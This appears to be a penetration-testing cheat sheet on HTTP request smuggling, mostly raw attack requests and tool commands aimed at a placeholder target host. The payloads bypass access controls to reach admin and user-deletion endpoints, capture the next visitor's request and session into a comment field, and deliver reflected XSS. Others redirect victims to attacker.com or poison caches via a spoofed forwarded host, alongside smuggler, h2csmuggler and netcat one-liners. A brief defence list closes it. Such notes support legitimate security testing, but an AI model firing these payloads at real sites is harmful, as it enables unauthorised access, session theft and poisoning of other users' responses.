HTTP Request Smuggling exploits discrepancies in how front-end and back-end servers interpret HTTP requests, specifically the Content-Length and Transfer-Encoding headers.
Attack Types:
| Type | Front-End Uses | Back-End Uses | Result |
|---|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding | Front-end sees one request, back-end sees two |
| TE.CL | Transfer-Encoding | Content-Length | Front-end sees chunked, back-end sees content-length |
| TE.TE | Transfer-Encoding | Transfer-Encoding | Obfuscated TE header causes parsing difference |
- Target has front-end proxy/load balancer
- Back-end server processes HTTP differently than front-end
- Both servers support keep-alive connections
# Quick HTTP smuggling detection
smuggler -u https://$rhost -q && timeout 5 curl -X POST https://$rhost -H "Transfer-Encoding: chunked" -d "0\r\n\r\n"CL.TE detection - if vulnerable, request will timeout
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1
A
XTE.CL detection - if vulnerable, request will timeout
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
XSend normal request, then smuggling request Compare responses - if different, likely vulnerable
- Front-end: Uses
Content-Length - Back-end: Uses
Transfer-Encoding: chunked
Smuggle a second request that poisons next user's request
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDCapture next user's request by smuggling incomplete request
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: $rhost
Foo: xSmuggle request to admin endpoint
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1- Front-end: Uses
Transfer-Encoding: chunked - Back-end: Uses
Content-Length
Back-end processes based on Content-Length, ignoring chunked encoding
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Poison next request with malicious prefix
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
87
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Both servers use Transfer-Encoding, but one can be tricked with obfuscated header.
Different ways to obfuscate Transfer-Encoding
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunkedOne server processes obfuscated TE, other ignores it
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: x
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Access restricted endpoints by smuggling internal host header
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
X-Original-URL: /admin
Content-Length: 10
x=1Smuggle request that stores victim's request in parameter
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=attacker_session
comment=Result: Next user's full request gets captured in comment field
Smuggle XSS payload that reflects in victim's response
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(1)</script> HTTP/1.1
Host: $rhost
X-Ignore: xRedirect victim to attacker-controlled server
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /login HTTP/1.1
Host: attacker.com
X-Ignore: xPoison cache with malicious response
POST / HTTP/1.1
Host: $rhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Transfer-Encoding: chunked
0
GET /static/app.js HTTP/1.1
Host: $rhost
X-Forwarded-Host: attacker.com
X-Ignore: xUse Burp's HTTP Request Smuggler extension
1. Install "HTTP Request Smuggler" from BApp Store
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. Review results in Logger
Automated detection tool
git clone https://github.com/defparam/smuggler.git
cd smuggler
# Scan single URL
python3 smuggler.py -u https://$rhost/
# Scan with custom config
python3 smuggler.py -u https://$rhost/ -c payloads/default.pySmuggle via HTTP/2 to HTTP/1.1 downgrade
git clone https://github.com/BishopFox/h2csmuggler.git
cd h2csmuggler
# Test for vulnerability
python3 h2csmuggler.py -x https://$rhost/ --test
# Smuggle request
python3 h2csmuggler.py -x https://$rhost/ -X GET /adminSend raw smuggling payload
# Note: curl may normalize headers, use netcat for precision
cat payload.txt | nc $rhost 80Using printf for exact byte control
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nSMUGGLED' | nc $rhost 80- Use HTTP/2 end-to-end (not downgraded)
- Normalize incoming requests at front-end
- Reject ambiguous requests (both CL and TE headers)
- Configure back-end to reject requests with Transfer-Encoding
- Monitor for requests containing both Content-Length and Transfer-Encoding
- Alert on chunked encoding with small Content-Length values
- Look for unusual timing patterns in request processing
- SSRF - Combine with smuggling for internal access
- Web Application Analysis - Discovery and enumeration
- Command Injection - Chain with smuggled requests
- OSCP Exam Tips - Web attack methodology